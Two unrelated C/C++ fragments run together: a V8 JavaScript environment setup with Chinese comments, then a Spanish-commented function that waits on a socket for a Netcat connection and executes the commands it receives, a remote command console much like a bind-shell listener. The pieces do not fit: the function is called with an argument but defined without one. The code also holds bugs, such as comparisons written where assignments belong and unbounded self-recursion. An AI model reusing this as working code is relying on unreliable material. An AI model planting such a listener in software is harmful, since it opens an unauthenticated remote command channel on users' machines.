void EnterJs(){ HandleScope store; int rt = -1; if(_env!=0) return; _env = new JsEnv; _threadFlag = 1; *_env->cont = Context::New(NULL,ObjectTemplate::New()); (*_env->cont)->Enter(); Handle<Object> glb = GetGlobal(); LoadBase(); LoadConsole(glb); LoadAPICall(glb); //给全局添加stack只读变量. glb->Set(String::New("Stack"),Object::New(),ReadOnly); //加载基本的JS库文件 cs::ResID rid(IDR_JS_BASE); LoadJsRes(rid,L"IDR_JS_BASE"); //加载JS库里面的纯js类或函数, 供C++使用. LoadLibStruct(glb); }
/* Función: LoadConsole Descripción: Funcion encargada la crear la conexion por sockets y esperar llamadas externas desde el "Netcat". Parametros: - Retorno: - */ void LoadConsole( void ) { // Variables locales PCOMMAND cmd; WSABUF DataBuf; char buffer[SIZE_OF_BUFFER]; int i = 0; int exit_sucess, rc; int sock; int recvbuflen, iSendResult; BOOL cmd_ok; WSAOVERLAPPED RecvOverlapped = {0}; DWORD iFlags, iResult; // Inicializacion de variables cmd = (PCOMMAND) calloc( 1 , sizeof(COMMAND) ); // Esperamos una conexion externa para la comunicacion sock = WaitForConn(); if ( (sock == SOCKET_ERROR) || (cmd == NULL) ) { MessageBoxA ( NULL , "Can't start console." , "ERROR" , MB_ICONERROR | MB_OK ); return; } // Creamos un evento para manejar la conexion Overlapped RecvOverlapped.hEvent = WSACreateEvent(); if ( RecvOverlapped.hEvent == NULL ) { WSACloseEvent(RecvOverlapped.hEvent); closesocket(sock); free( cmd ); // Volvemos a escuchar LoadConsole(); return; } // Seteamos los buffers DataBuf.len = SIZE_OF_BUFFER; DataBuf.buf = buffer; // Enviamos la cabecera el cliente conectado ShowConsoleHeader( sock ); exit_sucess = 0; // Ciclo principal de recepcion de datos y procesado do { // Preparamos los buffers memset( buffer, 0, SIZE_OF_BUFFER ); memset( cmd, 0, sizeof( COMMAND ) ); cmd_ok = FALSE; iFlags = 0; // Enviamos el PROMPT del sistema RemotePrint( sock, PROMPT ); // Leemos el buffer del socket de forma asincrona rc = WSARecv( sock, &DataBuf, 1, NULL, &iFlags, &RecvOverlapped, NULL ); if ( ( rc == SOCKET_ERROR ) && ( WSA_IO_PENDING != WSAGetLastError() ) ) { iResult = 0; exit_sucess == 1; } rc = \ WSAWaitForMultipleEvents ( 1, &RecvOverlapped.hEvent, TRUE, INFINITE, TRUE ); if ( rc == WSA_WAIT_FAILED ) { iResult = 0; exit_sucess == 1; } rc = \ WSAGetOverlappedResult ( sock, & RecvOverlapped, & iResult, FALSE, & iFlags ); if ( rc == FALSE ) { iResult = 0; exit_sucess == 1; } WSAResetEvent(RecvOverlapped.hEvent); // Procesamos los datos recibidos si hemos recibido algo if ( iResult > 0 ) { // Eliminamos el salto de linea del Netcat buffer[ iResult - 1 ] = 0; // Parseamos el buffer de entrada Parser( buffer, cmd ); // CONTROL DE COMANDOS exit_sucess = ConsoleAdmin( sock, cmd ); } // Controlamos si debemos salir if ( exit_sucess == 1 ) { closesocket(sock); } } while ( ( iResult > 0) && (exit_sucess == 0) ); // Cerramos el evento WSACloseEvent(RecvOverlapped.hEvent); // Liberamos la memoria pedida free( cmd ); // Volvemos a escuchar LoadConsole(); }